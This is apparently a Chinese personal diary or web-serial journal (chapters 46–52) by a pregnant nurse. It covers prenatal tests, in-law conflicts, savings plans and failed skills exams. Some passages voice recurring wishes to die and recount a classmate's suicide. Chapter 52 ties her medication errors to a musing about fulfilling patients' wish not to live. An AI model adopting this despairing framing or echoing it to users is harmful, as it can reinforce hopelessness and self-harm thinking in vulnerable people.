    难受是有点难受的！因为这样子的我在一个地方待的确实不算很快乐，可是在别人的眼里你过得很好，特别的容易让人羡慕嫉妒恨！总之现在的我还是太年轻了，面对别人的心理不平衡会产生很抱歉的感觉。可是现实情况却是她们其实过得比我好多了。可是我没有产生心理不平衡。因为我不认为我干的挺好的！
    我比较专注我的内心吧！只是这样子的自己看起来好穷啊！又非常的懦弱无能！找很多借口，给自己开脱！

 第46章

    今天花了两千块钱去抽血做无创dNA。好贵啊！可是我也很担心我会不会生下唐氏儿！因为怀孕初期不知道怀孕了打了新冠疫苗，然后又有一段时间感冒了，吃了一段时间感冒药！
    看了一下唐氏儿的特征！突然很担心！如果宝宝生下来有各种各样的畸形，那她一定活着很痛苦吧！而且还可能得白血病！在房间里留了一点点眼泪，就去抽完了血！
    心情不算很好！可是如果宝宝有问题，早点打胎，她也早点投胎，更不会耽误她！
    这些天的情绪一直反复无常！乱七八糟的！我也不知道怎么回事？可能怀孕了是这个样子！特别是想起来看了一个电影《蝴蝶效应》应该叫这个名字吧！里面的男主角就是过得很不好，特别的凄惨！不断地穿越时空去改变自己的过去，可是结果一样的惨。同伴死了，女友成了妓女爸爸妈妈的感情非常的的差劲。后来选择不被生下来，而在宝宝时期结束了自己的生命！我也不知道为什么会想到这个！我想如果活下来在这个世界活的不太好，其实不活下来对谁都很好。但是这不是别人能够为你做选择的，只有自己才能选择这样子的事！我突然之间也想好好的死一死。。。我发现我过得一点都不好。没有什么意义！可是活着和存在的意义就是好好工作，然后想吃啥吃啥！就这样子吧！也许！
    我感觉孩子是一个女孩子，凭感觉！我也不知道为什么？可能我喜欢女孩子！其实我认为女孩子头胎不算很好，因为生下来之后，长到几岁肯定要做很多的家务，然后又是新手爸妈，几乎都没有经验，双方都是个大小孩子，很容易对宝宝缺乏关心！其实是男宝宝也一样的。
    今天特别的想和家公吵架，算了懒得吵，他都48岁了，四十不惑！其实很多东西他都懂！这几天家婆感冒了花了一百多，弟弟生病了，又花了不少钱，老公最近也生病了花了不少钱！这个月至少花了几千块吧！他在抱怨诊所收的费太高了！其实他们可以不选择在那里看啊！可以选择去其他医院啊！内心里面一直都在盼望着民间医生，或者是那种很好很好的医生，可以治得好病，不需要很多钱的！其实很难！在这个社会，大家都有房贷和车贷，医生他也是人，也要借钱攒首付，也要还贷款，也要养一家老小，也要付店租，也要吃饭，钱是不可能省的下来的！省了人家怎么还贷款？而且培养一个医生也很贵。有的山里的医生很好，那是因为人家在山里能够养活自己，而且他们的家人并不需要他们操心！闲的没事就去挖草药能够知道怎么治病。可是如果他们去县城，或者城市里，他们也要租房子吧！也要买早餐吧！也要付店租吧！然后他们也么有时间去挖草药，肯定要从医药公司进货，进货要成本吧！而且他们没有上过大学，没有考到执业医师证。属于非法行医。治得好你，你会感恩戴德，治坏了，收费低都不晓得怎么赔钱。一辈子都搭在里面了。而且中医效果慢。听说有一个肝炎的患者，吃了好几个月的药没有好。一个民间医生送了一蛇皮袋的树根之类的给他，吃了几个月左右，肝炎就好了。人家没有收钱。那是那位患者的福分。他很有福气。能够遇到这样子的人。可是如果叫那位民间医生天天都去挖草药，送给别人，而且还要几个月才能好，没有报酬，那谁会去干？按时间成本和人力成本算价钱，下来也不便宜。而且还不包括知识产权。至少人家知道怎么治？听说一个事，有一个修车的，有个车内部一个零件坏了一个两分钱一个铁片的事，他给人修好了收了五十。他说我知道是因为那里需要它，这就值五十块。医生也一样的。他知道怎么治，他就值钱。民间医生，他没有证，又不是古代，不需要证明就能看病。如果人人都不需要执业医师证就能看病，那么我们这些二吊子也可以偷偷给人看，而且这样子很危险。很容易出事故的。这样子的篓子出了谁处理！没有人能够处理！所以只能考证，考证需要学习这门专业，大专需要三年，本科五年，而且需要全日制。不能函授，这里就一大堆的成本。民间的医生至少也有四五六十岁了。他们爬了一辈子山，知识也许很丰富，可是他的人力成本也很高啊！真的按金钱算，也不便宜。如果病人络绎不绝的过来，那么他的要价肯定也很贵，如果不贵，他时间久了，要么看病累死。要么就是爬山累死！还有一堆的同行。就像人家卖包子的一样，一开始都是一块钱四个，大家都涨价一块钱三个，你卖四个的就会被同行排挤，久而久之就没有办法干了，因为粮食涨价了，后来就一块钱两个，再后来就一块钱一个包子，医生这个行业应该也差不多吧！真的看病技术高，然后名气大。以后收费肯定会比一开始贵，不然会累死。听到别人几分钱就能治病，那是人家的福分啊！只能羡慕，不能强求。我们又没有那么好的交情的医生朋友。没有人情可以还的事，只能用钱来衡量了。
    很多的病都是自己要收这个智商税。稍微懒了不好好照顾自己，就会生病。心歪了就容易出事。所以什么都得学，学会了就能明白很多道理。
    看病挺贵的，更贵的是现在自己的状态好不好呢？

 第47章

    心情无法平静下来！今天突然听到了家公老公在讲请神上身的故事！听说弟弟小时候在一个地方撒了一堆尿，然后就病了治不好，应该是问了算命的，还是请神上身的，然后就说了这个事，然后就好了！类似的故事是听过很多！不知道为什么我会这么反应？又没有什么意思？
    我最近天天都梦见老公被鬼缠身了，然后他现在每天晚上都咳嗽！。。。。可能我有点怕吧！
    然后一开始听这个故事，就会想会不会是癫痫一类的，不过我们那边的乡下也碰到过这种故事，所以应该不是癫痫！难道是地球里有好多生命体，人类只是碳基生命体，还有一种硅基的，还有在空气里生活的。反正不记得看的那本小说来着，说世界芯片形成，有九大种族！有专门搞科研的，有像雾一样的，还有水里游的，还有吃脑子的，限制人类成长的，反正各种各样的。也许他们讲的这种就是地球上的生命体，只不过他们与我们同一个世界，却生存在不同的空间。或者无意冒犯，然后就出现了一系列症状！反正这就是脑洞！
    我其实很需要把心思放在学习上，因为过段时间就要考试了，买了一堆的书！
    这种故事有意思吗？可能我会感觉很有意思吧！毕竟生活需要一些调味剂而已！
    我不认为这些会是神明！因为神明应该不会让人生病的吧！不管是佛还是道，在我心里他们都是闪闪发光的，很漂亮。应该不会做这种事！
    我有点害怕乡下了，因为我怕我家宝宝去乡下玩一会儿不小心冒犯了什么？她会不快乐！虽然有钱人会很迷信，没钱的人也会很迷信！因为有钱人会感觉有很多东西都是运气来的，没钱的人会感觉命运太坎坷，希望从迷信里得到解脱！但是我还是希望在城市里生存吧！而且老公的家乡听说莫名其妙死了一些人，虽然是很久很久以前的事了，总是让我感觉很担心！
    。。
    今天是以上的很多天以后了！
    今天去看了一会儿操作！有个人讲的话我有点不开心，有点气愤！因为她说我不要练他们科的内容，应该练习其他科的，我听了以后不开心。因为我又不是临床科室，而且这只是考试内容！很烦啊！反正不练就不练吧！好气啊！其实我练了我也比不过他们啊！不过我又不是人民币，没必要去纠结谁喜欢我谁不喜欢我！其实还是太理智了，不好，可是我本来就是过度理智的人，我也没有办法啊！我不是很开心，气愤，这不是我的错啊！这不是我的错啊！这不是我的错啊！
    反正调整心情吧！练其他的！过几天就要考试了。情绪和钱来说对我都很重要。
    今天老公在家工作，我的电脑是五六年前买的了，配置不算很高！是买来自己玩一点简单的游戏的，老公要做设计方案，需要3d的需要更好的电脑！可是最近电脑涨价很快，几乎几年前的机子配置现在都贵了两三千！
    所以过段时间买吧！我的电脑也确实很少用，因为我其实很想玩游戏，可是又因为有好多考试就没有玩，然后心情时好时坏，所以几乎不怎么玩游戏！闲着也是闲着啊！我好像学点东西，可是又没有什么头绪，好像想要什么，又好像什么都不想要一样！
    今天下了很大的雨，老公想要买一辆车，因为骑电瓶车在下雨天很麻烦他很想接我的时候，让我更舒服一点！听了还是有点感动的！攒三四万块钱，然后再贷款！每个月还款两千！可是目前的条件还是需要久一点的！
    。。。。。。
    又是新的今天
    今天看了《向上生长》九边写的，看了有一点点领悟。也需要我也需要努力吧！他写了好多好多例子，有关于写文的。大概的意思就是天天写，然后熟能生巧。就能变得更好一点，最好写一百万字。这个目标对我来说还是比较远的。但是我希望我会努力。
    今天去医院练操作了。练习的效果不是特别的好，我四年了，一直都不是特别好。可是我也对我自己没有办法。学习了很多遍，都是一摸一样的差劲。因为我感觉我的思维是跳跃的，短节的。今天有一个考试考了一百分。随便点的。搞得同事问我怎么做的，我就随便点。手机的题目。凭感觉。说实话我感觉我自己也像自闭症的人群一样。因为学习方法我也没有，感觉好的时候我就学的很好。有兴趣的时候就很出色，而且我没有什么情商，也无法理解周围人的情绪交流。可是也没办法不是吗？要责备自己也是没办法的啊！就这样子好好学习好好待着吧！
    今天知道了门诊注射室，病人越来越多了，晚班也是，那里的护士两三天左右就上晚班，看到的各个护士脸上熬的痘痘都一大堆。也不知道是我听错了还是怎么子，听说有护士摔倒了，但愿是听错了吧！
    现在来了一批新人，可是新人做事都是需要培训的。也不知道领导会怎么安排。反正我需要准备好随时被安排加班的准备。因为现在的天气变化无常，好多小朋友小宝宝都感冒发烧，大半夜的过来看医生，有的时候一晚上几十个病人，然后就一个护士上班，也确实太难了。而我在导诊，因为我上班不是一般的不让人放心。有过失误的经历。虽然事情过去很久，患者也没有发生危险。但是毕竟人命关天的事，我有了心理阴影。然后我容易过敏做事情确实不够麻利。所以面对临床科室我希望临床科室的护士可以好过一点。希望那些新人都能够好好的培训出来吧！好好适应我们的工作环境，早点去临床岗位上班。我自己的话，我随时待命。领导怎么安排我就怎么做。
    最近还有编制考，去考吧！尽自己努力。今天听老公说之前的晚上有一个女孩子摔了，可能比较严重。那个时候也是下了雨吧，或者没有下雨。总之我也不记得了。我近视眼很重，没有看到她的情况，我看她起来了，我认为她没有什么问题，然后旁边有一个男孩子在看那个柱子。可能是女孩子的朋友。我就没有怎么关注，我认为他应该和她是一起的。所以我认为她受伤应该不重顶多也就膝盖受了一些轻伤，那个时候走也是晚上十点左右。所以我们就走了。然后今天老公说那个女孩子受伤很严重因为她的车没有搬走。搞得我挺难受的。因为在医院就听到有护士说哪个护士在回家的路上受伤了，然后没有监控司机好像跑掉了，然后我老公他说的那个路就是没有监控的。而且那个路上有一些房子是有几个同事在哪里住的。我和老公理论了很久。老公他说不敢扶受伤的人，特别是和车有关的，因为他的亲戚和朋友扶受伤的人被赔了很多钱，现在的社会太复杂了。搞得人心里不安稳。我听了挺难受的，因为我们今年的运气里，就是关于交通需要好好注意，我比较害怕如果有一天我受伤了，没有人会来扶我一把。可是我又没有办法啊！比如如果我也像老公的朋友还有亲戚一样帮了别人或者这件事都不关自己的事，还得赔钱。人的心都很脆弱的。能够被很轻易的破坏，可是要捂热它，让它变得完整，就需要很久很久的时间很大很大的代价才能做到。可是我还是比较希望，下次我们一起看到了这样子的情况可以搭把手，帮忙打一个120。虽然旁边有一个男孩子，但是万一人家不是和那个女孩子一起的呢？这个世界上有很多很多种可能，我希望那些可能都会很好。但愿我们也能做好一点的选择吧！
    可是因为这件事和老公翻脸，吵架，好像也显得我很二一样，因为我不是他，我们的感受是不同的。我们并不是同一个人。他见到的事情比我更多，也复杂。他也见过真的帮助过别人，却很难受的事。所以没有什么好指责的。因为说的很多，也没有办法改变什么，我们经历的事情是不一样的，每个人看到的世界也是不一样的。没有经历过别人的事，就不要随意说什么。
    只是我还是不太开心。可是我没有办法改变什么。一个新的家就像一个泡菜坛子一样，慢慢的我也会和老公一样长成一样的人？我有一点点难受。
    希望我们早一点买房吧！因为今天看到的《向上生长》里写的有了房贷之前看整个世界都是哪里哪里都是有问题的，有了房贷之后，就不会这样子了。究竟是为什么呢？我也看不懂。希望我们能早点攒钱买房吧！
    老公也很喜欢给一些人捐款。我也是。捐的钱不算很多，可是看到他的做法，会让我感觉他这个人的内心里是个很温暖的人。
    我们都是普通工作的人，趋利避害也是没有办法的事。
    但愿世界会变得好一点吧！

 第48章

    今天开心的事。
    1今天和老公去领了牛奶，两提，是高钙牛奶。补了十块钱。我们很幸运，刚到店里老板就来了。
    2我今天晚上练了五次操作。感觉自己有长进了。很多细节上的东西记住了一点点。很棒，开心。
    3今天的信用卡到了。收到了办卡一分钱买的行李箱。嗯嗯，行李箱还不错，带密码的，还不错。
    4今天上午和下午都学习了不少的知识。书本里的，阅读了自己本专业的知识。效率有一点点提升。很棒。
    5和老公聊工作上的事情。感觉到了他最近的压力。不过他能够缓解过来。开心。
    6家公有些话，让我感觉很敏感。买车的事。我听了总感觉对方不太希望我们买，其实我们也没有打算最近买，只是很期待五六年之后，我们会有自己的小家。和老公聊了之后，发现是自己多虑了。其实老爸说老公想要车的话，咬咬牙也会买给他，但是希望我们不要把主意打到二手车上，毕竟这种好的二手车太需要运气了。听了之后情绪稍微好一点。
    7今天吃了苹果和牛奶，比较开心。希望吃香蕉。听说香蕉会更开心，里面有一种物质，可以缓解压力。今天学了书上的内容，一种压力激素的作用。有点点收获。
    8打算攒钱。明天去吧！一个月攒两千块钱。计划十年凑够首付。我们看中的房子地方挺好看的。大概需要95万左右。首付在23万左右。想买。不够首付比较高。好好攒钱吧！
    9今天帮一个小姐姐做了一件小事。她也帮了我一个忙。开心。
    10工作有一点点变动。来了挑战，也就来了活力。今天学的。希望自己好好适应吧！
    现在已经凌晨了，三千字的目标达不到了。就五百吧！

 第49章

    睡得不好。不知道为什么会这样子几乎这一段时间都在失眠。可能是晚上吃太饱了。吃了一个苹果一盒牛奶。
    脑子里一直在回忆以前自己玩的游戏。那个游戏玩的并不是特别的好，因为我没有充钱，可是那款游戏教了我很多道理:怎么样当家做主。《主母在上》。我看到了很多人玩，他们玩的很好。我在里面的角色是女的嫁了一个男的。不提高自己，他就会随时出轨。然后专注于工作他会随时出轨。所以我死了很多次。然后又重新玩。玩到一定程度，就会有他的几个情缘出现。后来就没有玩下去了。没时间。这让我明白了一个道理，活在这个世界上太难了。尽管我的角色是古代的名门闺秀也是一败涂地。而我看人家玩，他们都玩的很溜，有的还当成了皇后娘娘，嫡子嫡女就很多个，连庶子庶女都一大堆，早知道多一个孩子，就要花很多银子。所以我是真的很佩服。所以这不是游戏的问题，是我的问题。
    总之这个游戏还是带给了我很多冲击，有点成长吧！后来工作和学习的原因，还有手机比较卡，就没有然后了。很感激这个游戏让我看到了不一样的人生。在现实社会生活的我还是需要多挣钱。可是在挣钱的时候仍然需要好好照顾家庭。
    然后脑子里很多念头。回忆了《K兔的精致生活》这本书，这本书带给我的影响很大。写的是两富二代用各种方法省钱的故事。而且他们很省钱，还过得很不错。特别的让我感到快乐。因为这个故事，让我有了储蓄意识。还有也深刻认识到了身体好和智商高的好处。各种各样的省钱方法让我很佩服。不过有很多东西还不是我这个阶层能够理解的，而且他们也有很多天时地利人和。比如写化妆品的体验心得，他们的亲戚会送他们化妆品。很贵的，而我没有，如果自己去买的话，一大笔开销，所以没有办法像他们那样子，然后买杂志送化妆品护肤品，这种活动在偏远地区很少。网站上倒是有，可是两百多块钱，对我来说还是有点肉疼。舍不得。所以我只能羡慕，不能模仿。然后我的身体气色其实不算特别的好，护肤和化妆我都特别的害怕会让我观察不到我的情况，可是观察到了我也没有办法。因为需要好好的调理我自己需要花很多钱，我并没有很多钱，而且调理自己的身体需要长期坚持，可是我很难坚持。其实每天吃点红枣，就已经可以很好的改善睡眠了。可是我买了我没有用。一直放着买了莲子也一直不用，就这样子放着。我认为我不光身体调理的不好，而且心理上有一些我发现不了的问题。而且时而不时想这样子折磨一下自己。我搞不懂是什么原因。有点失望，可是失望了一段时间我又在拯救自己，然后又是一个循环。随着年龄的增加，我发现我无法理解。昨天看书，看到了熵增，我以前不太理解这个概念，看了以后得理解是身体里有这么一个系统，它会让人慢慢的衰亡。而身体里也有一个熵减系统，会让人好好活着，然后，就慢慢的老了，挂了。大概是这个意思，其实我感觉我没有理解透，不过这已经是我的理解了。我认为还好。
    毕竟我并不是天才。
    慢慢的意识到自己并不是一个天才是一个普通的人，我看到书籍里说，认识到了就是一种成长，然后慢慢坚持下去，就能够好好成长了。我希望我能够坚持吧！我认同这种观点。
    一整天都好困好累。整个人都没有休息。我突然觉得这是因为昨天凌晨睡得所以没有睡好。
    以后要好好注意休息。

 第50章

    今天，本来准备好了上班的。结果有变化，不用上班。所以今天休息了一天。睡了一天。其实还有很多事情需要做，可是今天没有选择去做，因为腿很酸。怀孕到一定的时间就会这样子。我就不想动，和那些朋友相比我好像比较的懒。因为他们怀孕了好几个月还在家里拖地搞卫生。我没有做这个。我的鞋子需要洗了。已经穿了很久，还有好多衣服需要折，可是还没有选择去动，其实今天本来计划练操作的，然后也没有去练。其实今天的状态还好，可是不知道为什么没有选择去做这些事。
    就腿酸，感觉身上好多湿气，湿哒哒的，可能是天气的原因吧！搞得我什么都不想动。本来应该吃一点冬瓜的，冬瓜可以去湿气，可是我一年都没有买。前几天做的菜，今天发霉了。不喜欢吃，倒掉又舍不得，留着留着还是要倒掉。太难吃了。
    带了一堆的书，可是没有选择看。为什么今天感觉很好，为什么不选择看书呢？不知道为什么？买了一张彩票！后天开奖。希望能中三块钱吧！
    老公给我买了黄瓜吃。还是挺开心的。就是喜欢生吃黄瓜。心情更愉快。家公在那里说在老家吃黄瓜很容易长虫，不知道为什么他要讲这个。。。。不过没有心情去想那么多。其实听了不会开心。感觉他和我妈妈一样。。。。一样的生肖属性一样的性格。不过之前看的文章里写的，你认为对方是杠精，其实对方只是提供一个不一样的思路而已。心情平和。。
    我今天想不出什么了。不知道为什么会这样子，平时的想法都是神经兮兮一样的，胡思乱想至极。我的脑子难道被虐习惯了，所以有点不习惯？还是因为今天的钙补充的比较好。营养充足就更不会有太多神经兮兮的想法。
    也许吧！想着锻炼文笔，以后五年后，我可能拥有一份新技能。五年之后我就三十多岁了，更好一点吧！没有想到，兴致勃勃了两天，就没兴致了。老公还在说我怎么写实。这个本来就是我写的生活日常。生活里就经历这么一些琐碎的鸡毛蒜皮的小事。反正平凡人生也没有什么太多的故事。太多大的精彩的绝伦的故事也不太适合我，我喜欢懒懒的待着。
    过几天我们会给家公买手机，中国移动他们又在搞活动，套餐高的可以省钱买手机，希望买个运行内存八G的。那个更好用。我的这个手机也有点卡了。因为我总是控制不住自己想要下载app，下多了就卡。天知道我是有多么的不想换手机，我不想换手机。
    不过店家说我们城里有5G了，换5G更快。而我的套餐是可以用5G的。感觉不换手机有点划不来啊！过段时间看一下能不能买手机吧！在移动买手机就要办卡，烦死办新卡了。别的都还好。最近老公给妈妈买了手机。过几天给爸爸买手机。过几天我也买手机。钱呢？好想再用几年。
    搞不懂，今天感觉视觉更清晰，然后精神里更足。不过看了一下视频，有的视频里的声音我感觉有点刺耳。所以我还是有点神经衰弱，不过比昨天和过去好一点了。因为以前也是这样子，对比以前听这些声音，状态好的时候是感觉不到不舒服，状态不佳的时候有点难受，去比较状态。感觉今天比以前好多了，可是也没有办法达到最佳的状态。不过这并没有科学依据，只是个人感觉而已。以前去看医生，医生说多喝热水没病，可是我感觉我有病，愁着愁着，过了半年就去看了病。总之感觉这玩意呢？不太靠谱，有可能是心理因素导致的。心理因素很复杂。
    今天。

 第51章

    烦，今天请同事帮我上班。这几天可能会考试！我背不出来。搞得我很烦躁。
    今天早上，起床有点晚。其实有点生气。我的被子太厚了，盖了容易出汗，然后另一床被子又太薄了，给我老公盖。我们两个一起盖一床被子就会抢被子，我会冷。所以我选择了厚的，可是厚的会出汗，晚上会不由自主的不盖被子，醒来了会冷。真的是很烦。我在老公家住的有点不舒服了。
    我昨天带回去的枇杷。家婆又叫我带回去。肉也是。我听了很烦。我昨天晚上刚带回来的。心情瞬间到了冰点。然后老公的弟弟还在上幼儿园，感觉他不是很想带走枇杷。然后家婆叫我带走，他就拿出一串长的不好看的枇杷给我，说你看我这个都长了毛。瞬间爆炸了。不带。烦死了。我没有感觉到我的情绪，可是我就是在发火。我也不知道为什么我会选择发火？
    总感觉我嫁过去了生活的也很变扭。我们回去的早了，家婆大概是晚上九点半下班，或者是晚上十点下班。然后家公就会变成阴阳怪，说话阴阳怪气，在一个劲的抱怨家婆回家晚。巴拉巴拉，听的我特别的烦躁。然后他们一般早上就会一个劲的吵架，互相埋怨。今天就没有了，稍微好一点。以前我真的是回家公家婆家我都好心累。可是老公说我在他身边他睡的更香，然后他的腰椎问题又一定要睡硬板床，我这边租房子的床太软了。不适合他睡。我每次看到家公家婆的相处模式，心想等我们以后有了小孩子，也会也样子吵架吗？不晓得。感觉我和老公待在一个家里面，相处的稍微好一点，就感觉很不自在。我也不知道为什么会不自在。然后弟弟的管教问题。我理智上认为我不应该管，因为那不是我的孩子，情感上也不认为不用我管，因为他不是我的孩子。他是老公的弟弟，是家公家婆的孩子。看着这个弟弟我有点无语。因为他才四五岁子，有的话说出来非常的不合时宜说一些浑话。可是家里面的家教其实就是这样子。其实有好处的一面。就是他可以懂得还有明白一些生殖之类的话题。我认为他应该不懂，只是跟着家公说话而已。不好的一面，要是小学了，中学了，高中，大学。这个德行以后没有女孩子缘分怎么办？而且他以后肯定会变成我的孩子的榜样。我的孩子家公家婆肯定要带，因为我没有时间一直都在，然后家公家婆他们也想带小孩子。然后呢？教育问题。以后我的孩子会变成像弟弟那样子吗？他会说一些荤段子。我能接受，我接受不了的是，他没有办法去表达自己想要的。大概这就是家庭教育吧！每个人的家庭教育都不一样。可是也没有办法。所以我只能期待我的孩子是个健康快乐的孩子，不期待他将来会有什么作为。因为环境就是这样子。这就是地利。很多东西都是需要天时地利人和。每次看书看文章，里面都有关于小孩子的教育的文章，怎么去教小孩子，其实有这样子的环境很难很难。以后我的工作压力我有可能会发泄在他的身上，有可能我会特别的闲的没事干，想讲他。总之，我应该不会是一个合格的父母。
    可是当一个合格的父母太累了。只能期待小孩子出生平平安安的，健康快乐的，就可以了。
    我其实感觉我自己没有分界线。家公天天讲家婆回家晚，希望她早点下班，关我什么事？弟弟的家教问题，老公不也是家公家婆教出来的，不是也蛮好。我就不相信我老公在小时候没有像弟弟一样。所以不用太在意，懒得想那么多。又不是吃饱了没事干。
    我眼里的家婆。她在家可能并没有成就感，只有工作才能给她带来成就感。哪怕钱很少。我也是这样子。我其实也不太喜欢和家里人相处，上班工作认真负责。会让自己心情更好。可是在家里就不一样了。家婆在家前段时间家公可能心情不好，天天都怼。大事小事。听的我的脑壳都要炸了。工作让人特别爽的一件事就是可以不用去面对这些情绪里的家里人。家公就是个阴阳怪一样。喜欢这个东西，他就说那个东西不好。想要这个，即使只是商量，他也会说一大堆否定的事。就像老公想要买车的事。其实他同意了我们也买不起啊！总之，不知道家公的心理是什么奇怪的逻辑。总感觉对方对我有意见，但是又没有讲。因为我感觉到了对方，对我的攻击性。搞得我不是很想看他的眼睛。也许他只是很想在家里确定他的地位的权威感。就像动物世界一样，里面的领袖有权利，而我这个新加入的人员，还有点桀骜不驯。让他很难受，所以就在家里讲这个讲那个。而我不是很懂这个。总感觉他是个阴阳怪，说话阴阳怪气，不知道在讲什么？感觉不到对方喜欢和不喜欢的情绪。像我这样子的脑子不好使的，确实多活一天都会感觉很累。我不是很喜欢和人产生连接。因为产生了断掉的时候心情会特别的痛。信任了，在失去它的时候会难受很久，而且还有阴影，需要治疗很久。老公也是一样的。我并不确定我们能走到最后，也许过不了多久，不用几年十年。不过都是珍惜当下。
    能过一天是一天。
    昨天同事说我的做事方法不算特别的好。很多人对我有意见。因为我做事太僵硬了。一个人对我有意见可能这并不是我的问题。但是很多人有意见那么就是我的问题。可是我也不知道自己做了什么让很多人对我有意见。因为她们都不直说。谁知道他们到底忍耐了多久？而我也是个直性子的人，碰到了什么事，就直接说。工作上的矛盾其实他们忍耐了很久很久，可是大家都没有说，因为我自己过得去我也没有说。后来发现大家都生气这种小事，我就说了。要是说了大家对我有意见的话，那就让它。反正在我眼里不是我们不干偷懒是因为我们不会，所以会感觉很烦。看一下其他的老师也是。都是直接讲。因为大家都有这样的想法，但是不讲。谁知道你需要什么？

 第52章

    今天。
    今天请同事帮我上班。过几天需要还给他。
    。。。。
    又是新的今天。前天我考操作倒数第一名。40几分。分数其实我也不知道。只知道我是倒数第一名。因为考试的时候特别的紧张很抖，抖的和帕金森一样。然后就不够时间，说话的速度很慢。针没有打上去就结束了。因为考操作是两个人互打的。随机抽签。所以我还是比较幸运的，被老师抽到了，她打的还好。第二名。其中有一个护士考的很好第一名。不过我对她有一点点小情绪。因为她考的很好。可是她会讲我。我就在旁边看她练操作，感觉她都很烦。因为她最近压力很大，工作很多。几乎连续两天没有怎么休息。所以很抱怨我。可是我又不是他们科室的。搞得我很火大。可是只能忍着。毕竟我没有人家那么累。我又不适合临床上班。不知道哪里有适合我的心理医生。因为我会加错药水，虽然已经过去很久了。可是加错药水的次数太多了。虽然那些事故都经过医生看过了，对病人没有什么问题。也没有不良反应。可是我会这样子上班，肯定谁都看到都烦。别人的命也是命啊！我就像一个定时炸弹一样特别的不靠谱。我也不知道为什么会这样子上班也许我感觉每个人来看病的人，他们的心情都特别的难受。可能多多少少内心都带有很多的负能量，可能我碰到了一些负能量满满的人。他们的内心想的是不想活着。所以我就很顺手的想帮他实现这个心愿一下。这是我对我的心理状态的想象。其实到底怎么回事我也不清楚。不过我对同事不想抱怨。因为她们实在是辛苦。如果我也在临床上班，我肯定也没有什么好脾气。几乎所有的负能量都爆棚的那种。自从进了卫校的门那天开始，感觉自己就像一个精神病患者。很难学的知识，很难理解的一大堆专业名词，情绪也是特别的差，实习后，看的病人多了，感觉自己也有病，白细胞偏低。可是还是没有转行之类的，因为家里的资源只有这个路可以走了，再换一个我没有很多的时间和精力去学习。初次工作之后，工作的状态超级的差。医生说我的潜意识其实不是很想学习这个，可是我自己又感觉不到，只感觉自己的身体素质特别的差，很容易感冒生病。后来到了乡下卫生院。食堂上班的阿姨做的菜还好吃。然后她下的料对我的白细胞偏低的状态有一些调整。工资自己一个人生活肯定是饿不死的。可是家里还有老人孩子。妹妹弟弟他们需要上学。妈妈的工资可能那时很低。脾气不好，我考到高中的那年，她没有让我去读高中，因为她没有那么多钱，生活压力大，然后爸爸没有办法给她依靠心灵和物质上的。所以我也选择了这条路，老实说，我不想选择。其实也没有不想，其实那个时候的我自己是个非常迷茫的人，虽然打过很多针，可是我不明白护士到底是干嘛的。可能我是个大脑缺根筋的人。很多的常识都不懂。没有什么愿意或者不愿意。最讨厌的是妈妈和我说的话。我已经不想回忆了。本质上职业并没有什么好讨厌的。做什么工作其实都一样的。好好工作好好做事。
    那段时间有个同学过世了。只同了一天的同桌。她的状态非常的不好，可是那天我感觉到了她死亡的情绪，可是我以为她会好起来的。可是我梦见她跳河死去了，没有想到她真的跳河死去了。她自杀的原因是因为家里人不让她去上大学。因为她经历了一些生活里的痛苦的事情。然后家里人在她考到了大学没有让她继续学习。因为家庭条件其实还不错。可是家里人不让她上学。无法接受这个现实。所以不在了。那个时候我感觉很内疚。因为在她心情很不好的状态下，还在和她说我的家庭也不让我上学可是我感觉他们还好。然后后来我妈妈也对我不好了。有很多次我也很想结束自己的生命。心情郁闷至极。后来我也不后悔吧！因为我脑子一直缺根筋，不知道什么场合该说什么。经历过那么痛苦的几年。然后我就好好上班。学习了一些佛法。保持心情舒畅。因为真的有很多很多的事情是我无法理解和接受的。我需要让我自己好好的平和安静下来。看到了别人发生很痛苦的事情，就算不懂，也不去选择随意的说什么。这也是一种心灵里的长进吧！
    那段时间总是在想如果我读了高中会怎么样呢？因为心里不太能接受这个事实。绝望于没有钱上学。借别人的钱上学，会欠一辈子的人情，人情很难还，本来那时想写小说挣稿费学费，可是我的脑子太空了，什么都写不出来。人生经历又是特别的浅薄，有很多东西都没有办法看。去交际。想过交很多的朋友，以后有什么难处，肯定可以向他们借钱的。可是交际能力有限，说话结结巴巴的，然后很多潮流的东西都需要钱去购买，人与人之间的交流也是需要人情来往，所以没有去交朋友。选择打了一些零工。挣生活费。可是也没有办法攒到很多很多钱。和家里的矛盾比较大。有的时候家里说的一些话，让我感觉自己不被他们所爱护了。感觉很委屈可是又没有办法把情绪宣泄出来。因为好好的思考，以前学习的时候碰到了很多做不出来的题，好好的宣泄出自己的情绪，然后题目就自然而然的会了。可是那段时间根本没有办法宣泄自己的情绪。也没有办法去靠读书缓解自己的心情。发现自己突然之间好像有了失读症一样。好多字都认识，连起来就不知道是什么意思了。那段时间也想不出来为什么会这样子，我连思考都不会了。
    直到有一天知道妹妹中考考的很好。听说妈妈决定让她去山里放牛。终于忍不了了，那次考试就想办法考过去了。心里想的是如果考不到就转行，因为这个行业我需要挣钱有存款让他们读书，学习。可是护士这个行业，在最低的位置是没有办法有存款的。怎么节省都节省不了很多。然后因为很多次的苛刻自己，让自己很痛苦感觉自己是个工具人，活的好累。虽然相对于同事来说我已经很省钱了，可是钱再怎么省也不够。所以考过去了。
    考上了之后的日子。其实我的心理状态也不是很好。学习的东西特别的复杂，多。考试只是一个敲门砖，敲进门去还要好好学习。意识上有这个觉悟，内心里是非常绝望的。很多东西学都学不懂。我的情绪可能在和我自己唱反调。因为我选择了不上高中。有很多梦境里面，都是特别特别的希望我能上学。其实我的家庭，就算我大闹特闹，爷爷奶奶可能会心软，我妈妈不会。结果其实没有什么两样。
    我对于自己的评价其实不算很好。我认为中的自己很差劲，不管是我当年学习很好的时候，还是学习不好的时候。我知道我生了病。可是我不知道怎么治疗我一直认为我不好的这种病怎么治疗。不管是鼓励呀，还是各种方式我都用过了，可是没有什么效果，过了一段时间又会变成原来的样子，非常的丧，非常的无精打采，总是很想死一死。毫无生活乐趣。我其实不喜欢这样子的自己，可是这就是我的样子。总是感觉那个人会死了，然后他就死了。让我感觉自己像一个不详之人。
    喜欢过某一个人。他的出现让我有了一点点对待人生的温柔与善意。然后我就变得没有什么攻击性了。面对他人的坏情绪没有了一种自保的能力一样。我感觉我是幸福的。因为精神世界是美好的，又感觉是不幸福的。因为我总是会因为旁边人的情绪而影响到自己做事工作的状态。有一种旁边的人处于很难受的状态，我很想让她开心。然后身体就不停的出事，让对方发泄出她的坏情绪一样的状态。可是那样子的我也不开心啊！
    我感觉自己就像妈妈愤怒情绪的出气筒，到了工作生活里我又成为了别人的出气筒。特别的想要改变这样子的状态，可是又改变不了。特别的无奈。
